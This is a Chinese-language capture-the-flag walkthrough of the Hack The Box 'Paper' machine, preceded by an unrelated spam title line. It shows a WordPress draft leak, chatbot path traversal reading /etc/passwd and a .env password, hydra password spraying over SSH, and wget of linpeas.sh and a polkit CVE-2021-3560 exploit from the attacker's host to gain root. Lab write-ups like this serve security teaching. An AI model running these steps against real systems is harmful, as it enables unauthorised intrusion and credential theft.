网站空间不支持php,自己如何制作一个微信小程序,页面设计的宗旨是什么,seo快速排名分析目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
对靶机进行子域…目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
对靶机进行子域名FUZZ
编辑
对靶机主域名进行路径FUZZ
使用curl访问靶机主域名
对该域名进行路径FUZZ
边界突破
使用浏览器访问靶机后台域名/wp-admin路径
使用searchsploit搜索该CMS漏洞
查看该PoC内容
仿照PoC构造URL访问static1的页面
使用浏览器访问秘密链接
点击左侧的general进入频道
使用hydra对靶机SSH服务进行密码喷洒
使用上述凭证登录靶机SSH服务
权限提升
查看该用户可sudo执行的二进制文件
查找系统内的SUID文件
查找系统内的CAP_SUID文件
操纵靶机从攻击机中下载linpeas.sh
为该脚本赋权并执行
在Github上寻找EXP
控制靶机将该EXP进行下载 连接至HTB服务器并启动靶机 靶机IP 分配IP10.10.16.13 信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res 将靶机TCP开放端口号提取并保存
ports$(grep syn-ack res | cut -d/ -f1 | paste -sd,) ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# grep syn-ack res | cut -d/ -f1 | paste -sd, 22,80,443 ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# ports$(grep syn-ack res | cut -d/ -f1 | paste -sd,) ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# echo $ports 22,80,443 使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.143 使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --scriptvuln -O -Pn 10.10.11.143 使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143 对靶机进行子域名FUZZ
ffuf -u http://paper.htb/ -H Host: FUZZ.paper.htb -w ../dictionary/subdomains-top5000.txt -fw 1,2703 对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200 使用curl访问靶机主域名
curl -I http://10.10.11.143
由输出的响应头可见靶机后端服务器域名为office.paper ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# curl -I http://10.10.11.143 HTTP/1.1 403 Forbidden Date: Sat, 11 Jan 2025 06:10:25 GMT Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 X-Backend-Server: office.paper Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT ETag: 30c0b-5c5c7fdeec240 Accept-Ranges: bytes Content-Length: 199691 Content-Type: text/html; charsetUTF-8 将该域名与靶机IP绑定
sed -i 1i 10.10.11.143 office.paper /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# sed -i 1i 10.10.11.143 office.paper /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# head -n1 /etc/hosts 10.10.11.143 office.paper 对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt 边界突破
使用浏览器访问靶机后台域名/wp-admin路径 使用wappalyzer查看该页技术栈 使用searchsploit搜索该CMS漏洞
searchsploit wordpress 5.2.3 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# searchsploit -m 47690.md Exploit: WordPress Core 5.2.3 - Viewing Unauthenticated/Password/Private Posts URL: https://www.exploit-db.com/exploits/47690 Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md Codes: CVE-2019-17671 Verified: False File Type: ASCII text Copied to: /home/kali/Desktop/temp/47690.md 查看该PoC内容
cat 47690.md ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# cat 47690.md So far we know that adding ?static1 to a wordpress URL should leak its secret content Here are a few ways to manipulate the returned entries: - order with asc or desc - orderby - m with mYYYY, mYYYYMM or mYYYYMMDD date format In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static1orderasc will show the secret content: 仿照PoC构造URL访问static1的页面 经过简单的翻译可知此人将秘密都放在了http://chat.office.paper/register/8qozr226AhkCHZdyY 测试 迈克尔看在上帝的份上请把草稿中的秘密去掉 你好Blunder蒂芬的员工 由于上级的命令每个加入这个博客的员工都被删除了他们被迁移到我们新的聊天系统。 所以我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。 - 尼克 #警告迈克尔 迈克尔你必须停止在草稿中添加秘密。这是一个巨大的安全问题你必须停止这样做。 午夜威胁等级 电影银幕 编剧和导演是 迈克尔·斯科特 [INTDAY] 在联邦调查局内部特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特 #新员工聊天系统的秘密注册URL http://chat.office.paper/register/8qozr226AhkCHZdyY #我保持这个草案未发布因为未发布的草案不能被外部人员访问。我没那么无知尼克 #别再看我的草稿了天啊 将该链接中的子域名与靶机IP进行绑定
sed -i 1i 10.10.11.143 chat.office.paper /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# sed -i 1i 10.10.11.143 chat.office.paper /etc/hosts ┌──(root㉿kali)-[/home/kali/Desktop/temp] └─# head -n3 /etc/hosts 10.10.11.143 chat.office.paper 10.10.11.143 office.paper 10.10.11.143 paper.htb 使用浏览器访问秘密链接
访问后该页提供一个注册表供用户填写相关注册信息 去掉相对路径后访问主页面可见是一个登录界面因此我们需要注册一个账号 将注册表单完整 注册完成后进入主界面 点击左侧的general进入频道
由聊天记录可知recyclops是一个机器人跟它私聊发送help获得使用手册 你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人但在此之前我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题这样他就可以利用他宝贵的时间来.不和同事交流 最常见的问题包括 - 现在几点了 - 您的销售目录中有哪些新文件 - 售货员为什么要过马路 - 你的销售目录中x文件的内容是什么等 请注意我是一个测试版我仍然有一些错误要修复。 如何使用我: 1. Small Talk 你可以问我德怀特的周末怎么样或者他昨晚看了比赛吗等等。 你周末过得怎么样或者‘你昨晚看比赛了吗或者“什么样的熊是最好的 2.笑话 你可以问我为什么售货员要过马路。 为什么售货员要穿过马路 以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你凯文。 出于安全原因访问权限仅限于Sales文件夹。 3.档案 例如cloops get me the file test.txt或cloops could you send me the file sale/secret.xls或cloops file test.txt 4.列表 你可以让我列出 例如recyclops i need directory list sale or just recyclops list sale 5.时间 你可以问我几点了 现在几点了或者只是“马蹄声时间” 这就是我现在能做的。 还有德怀特是个很酷的家伙而不是时间小偷 经过简单分析可知 读取文件内容命令recyclops file test.txt 列出目录文件命令list 我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd !Contents of file ../../../../../etc/passwd root❌0:0:root:/root:/bin/bash bin❌1:1:bin:/bin:/sbin/nologin daemon❌2:2:daemon:/sbin:/sbin/nologin adm❌3:4:adm:/var/adm:/sbin/nologin lp❌4:7:lp:/var/spool/lpd:/sbin/nologin sync❌5:0:sync:/sbin:/bin/sync shutdown❌6:0:shutdown:/sbin:/sbin/shutdown halt❌7:0:halt:/sbin:/sbin/halt mail❌8:12:mail:/var/spool/mail:/sbin/nologin operator❌11:0:operator:/root:/sbin/nologin games❌12games:/usr/games:/sbin/nologin ftp❌14:50:FTP User:/var/ftp:/sbin/nologin nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin dbus❌81:81:System message bus:/:/sbin/nologin systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin polkitd❌998:996:User for polkitd:/:/sbin/nologin geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin qemu❌107:107:qemu user:/:/sbin/nologin apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin chrony❌993:987::/var/lib/chrony:/sbin/nologin libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin radvd❌75:75:radvd user:/:/sbin/nologin clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin sssd❌983:981:User for sssd:/:/sbin/nologin colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin gdm❌42:42::/var/lib/gdm:/sbin/nologin gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin tcpdump❌72:72::/:/sbin/nologin mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin mongod❌976:974:mongod:/var/lib/mongo:/bin/false rocketchat❌1001:1001::/home/rocketchat:/bin/bash dwight❌1004:1004::/home/dwight:/bin/bash !End of file ../../../../../etc/passwd 接着我尝试通过它举例的命令列出当前及上一级目录文件 这里我尝试直接读取user.txt被提示权限不足因此我尝试列出hubot目录文件
list ../hubot 这里我迅速注意到了.env文件该文件通常存储着用户凭证、敏感信息尝试直接读取它
recyclops file ../hubot/.env !Contents of file ../hubot/.env export ROCKETCHAT_URLhttp://127.0.0.1:48320 export ROCKETCHAT_USERrecyclops export ROCKETCHAT_PASSWORDQueenofblad3s!23 export ROCKETCHAT_USESSLfalse export RESPOND_TO_DMtrue export RESPOND_TO_EDITEDtrue export PORT8000 export BIND_ADDRESS127.0.0.1 !End of file ../hubot/.env 通过阅读/etc/passwd可知靶机可交互用户仅有rocketchat、dwight
使用hydra对靶机SSH服务进行密码喷洒
echo -e rocketchat\ndwight temp hydra -L temp -p Queenofblad3s!23 ssh://10.10.11.143 账户dwight 密码Queenofblad3s!23 使用上述凭证登录靶机SSH服务
ssh dwight10.10.11.143 在当前目录可找到user.txt文件 [dwightpaper ~]$ pwd /home/dwight [dwightpaper ~]$ ls bot_restart.sh hubot sales user.txt [dwightpaper ~]$ cat user.txt c3d0d4b61c91f8879f560ad37c2d8dcc 权限提升
查看该用户可sudo执行的二进制文件
sudo -l [dwightpaper ~]$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for dwight: Sorry, user dwight may not run sudo on paper. 查找系统内的SUID文件
find / -perm -4000 -type f -ls 2/dev/null 查找系统内的CAP_SUID文件
getcap -r / 2/dev/null | grep -i cap_suid
执行后无事发生
操纵靶机从攻击机中下载linpeas.sh
wget http://10.10.16.13:6666/linpeas.sh
攻击机收到请求 ┌──(root㉿kali)-[/home/kali/Desktop/tool] └─# php -S 0:6666 [Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started [Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted [Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh [Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing 为该脚本赋权并执行
chmod x linpeas.sh
执行后可见靶机存在漏洞CVE-2021-3560 在Github上寻找EXP https://github.com/Almorabea/Polkit-exploit.git 控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py 运行一段时间后成功提权 [rootpaper dwight]# id uid0(root) gid0(root) groups0(root) [rootpaper dwight]# whoami root 在/root目录下找到root.txt文件 [rootpaper ~]# pwd /root [rootpaper ~]# ls -la total 44 dr-xr-x---. 8 root root 4096 Jan 10 22:17 . dr-xr-xr-x. 17 root root 244 Jan 17 2022 .. lrwxrwxrwx. 1 root root 9 Jul 3 2021 .bash_history - /dev/null -rw-r--r--. 1 root root 18 Jul 3 2021 .bash_logout -rw-r--r--. 1 root root 176 Jul 3 2021 .bash_profile -rw-r--r--. 1 root root 233 Jul 3 2021 .bashrc drwx------. 3 root root 19 Jul 3 2021 .cache drwx------. 6 root root 64 Jul 3 2021 .config -rw-r--r--. 1 root root 100 May 11 2019 .cshrc -rw-------. 1 root root 328 Feb 1 2022 .dbshell drwx------. 3 root root 25 Jul 3 2021 .dbus -rw-------. 1 root root 16 Jul 3 2021 .esd_auth -rw-------. 1 root root 0 Jul 3 2021 .mongorc.js drwxr-xr-x. 5 root root 83 Jul 3 2021 .npm drwxr-xr-x. 2 root root 52 Jan 13 2022 .restore drwx------. 2 root root 6 Sep 16 2021 .ssh -rw-r--r--. 1 root root 129 May 11 2019 .tcshrc -rw-------. 1 root root 1438 Jul 3 2021 anaconda-ks.cfg -rw-r--r--. 1 root root 1593 Jul 3 2021 initial-setup-ks.cfg -r--------. 1 root root 33 Jan 10 22:17 root.txt [rootpaper ~]# cat root.txt 324cb758819eb8e130f5261bcfae69dd